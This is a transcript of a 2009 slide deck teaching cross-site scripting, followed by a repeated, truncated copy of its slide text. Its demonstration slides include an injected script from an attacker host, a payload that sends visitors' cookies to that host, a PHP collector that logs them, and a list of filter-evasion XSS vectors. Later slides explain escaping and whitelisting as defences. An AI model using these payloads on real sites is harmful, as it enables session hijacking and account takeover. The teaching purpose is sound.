XSS: An Introduction and Demonstration (2009)

XSS An Introduction and Attack Demonstration

XSS: An Introduction  “Cross-Site Scripting”  Using client-side code
to send sensitive information off to far-away places.  eg. Javascript

XSS: An Introduction <td>Bobby Tables</td>

XSS: An Introduction <td><script src=http://hax.gd/x.js> <script>Mallory</td> Oh shit.

XSS: An Introduction  That http://hax.gd/x.js script could be: alert('HA
HA.'); alert('Survive make your time.');

XSS: An Introduction  That http://hax.gd/x.js script could be: document.write(document.cookie);

XSS: An Introduction  That http://hax.gd/x.js script could be: document.write(
'<img src="http://hax.gd/x.php?'+ escape(document.cookie)+'" style="display:none;" />'); <td><img src="http://hax.gd/x.php?award_visited=1;...; __csuid=489058e83ee2e832;_PHPSESSID=t57tm1fvvdhonprigkdon71677" style="display:none;" />Mallory</td>

XSS: An Introduction  Let's have a look at http://hax.gd/x.php:
<?php $fh=fopen('xss.log','a'); fwrite($fh,$_SERVER['HTTP_REFERER']. var_export($_GET,1)); fclose($fh); http://example/cms/objects.php? _obj_name=example_data&_subnav=123 array('award_visited=1;__csuid=blah; _PHPSESSID=t57tm1fvvdhonprigkdon7167 7' => '',)

XSS: An Introduction  So what? http://example/cms/objects.php? _obj_name=example_data&_subnav=123 array('award_visited=1;__csuid=blah; _PHPSESSID=
t57tm1fvvdhonprigkdon71677 ' => '',)

XSS: An Introduction  Steal the cookie.  Get the
URL to the admin screen.  Log in at will, exposing the very soft underbelly.  Time for a demo.

Filtering and Escaping  Sometimes are conflated, with side-effects being
things like backslashes or entity tags found in stored data.  This is all very well and good, but what happens if you want to put this into an email message or save out to a text document?  “Strip out all tags!” can result in mangled content:  eg. <3, <( ^o^)>, 1 < x < 5, “if foo <> bar then”

Filtering and Escaping  Validation & Filtering: Checking for and
getting rid of the nasties.  Checking data is of the correct type, eg. email addresses, postcodes, message text.  Stripping out control characters, fixing multibyte encoding shenanigans with iconv().  Escaping: Packaging data up for transport.  mysql_real_escape_string() for MySQL strings.  htmlentities($x, ENT_QUOTES, 'UTF-8'); for HTML.  urlencode() for query params.

Filtering and Escaping  Why don't we just kill any
<script> tags we find? <IMG SRC=javascript:alert('a')> <img src=javascript:alert("a")> <img “””><script>alert('a')</script>”> <IMG SRC=javascr ipt:aler t('XSS')> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72 &#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72 &#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> <IMG SRC="jav ascript:alert('a');"> <IMG SRC="jav as&#x09cript:alert('XSS');"> <IMG SRC="jav
ascript:alert('XSS');"> <SCR\0IPT>alert('a')</SCR\0IPT> <SCRIPT/a SRC="http://foo/x.js"></SCRIPT> <img onmouseover!#$%&=alert('a')> <<SCRIPT>alert("a");//<</SCRIPT> <SC<SCRIPT>RIPT>alert('a');</SC</SCRIPT>RIPT> <SC\0RIPT SRC=http://foo/x.js?<B> <script src=//foo/x.js> <img src=”javascript:alert('a')” <IMG SRC = " j a v a s c r i p t : a l e r t ( ' a ' ) " >

Filtering and Escaping  Yeah, no.  The transport is
HTML; package it appropriately.  Using htmlentities($xsslol, ENT_QUOTES, 'UTF-8') will completely neuter most of this stuff.  Use it even on the things you “trust” like $_SERVER['PHP_SELF'], or REQUEST_URI.  It gets hard when you need to put user data into src=”” and style=”” fields; suggest using a whitelist instead, no matter how much of a pain it is to implement. (Or in the case of images and other files, generating the filename for them.)

XSS: An Introduction and Demonstration (2009)

XSS: An Introduction and Demonstration (2009)

Rob Howard

More Decks by Rob Howard

Other Decks in Technology

Featured

Transcript

XSS An Introduction and Attack Demonstration

XSS: An Introduction  “Cross-Site Scripting”  Using client-side code

XSS: An Introduction <td>Bobby Tables</td>

XSS: An Introduction <td><script src=http://hax.gd/x.js> <script>Mallory</td> Oh shit.

XSS: An Introduction  That http://hax.gd/x.js script could be: alert('HA

XSS: An Introduction  That http://hax.gd/x.js script could be: document.write(document.cookie);

XSS: An Introduction  That http://hax.gd/x.js script could be: document.write(

XSS: An Introduction  Let's have a look at http://hax.gd/x.php:

XSS: An Introduction  So what? http://example/cms/objects.php? _obj_name=example_data&_subnav=123 array('award_visited=1;__csuid=blah; _PHPSESSID=

XSS: An Introduction  So what? http://example/cms/objects.php? _obj_name=example_data&_subnav=123 array('award_visited=1;__csuid=blah; _PHPSESSID=

XSS: An Introduction  Steal the cookie.  Get the

Filtering and Escaping  Sometimes are conflated, with side-effects being

Filtering and Escaping  Validation & Filtering: Checking for and

Filtering and Escaping  Why don't we just kill any

Filtering and Escaping  Why don't we just kill any

Filtering and Escaping  Why don't we just kill any

Filtering and Escaping  Yeah, no.  The transport is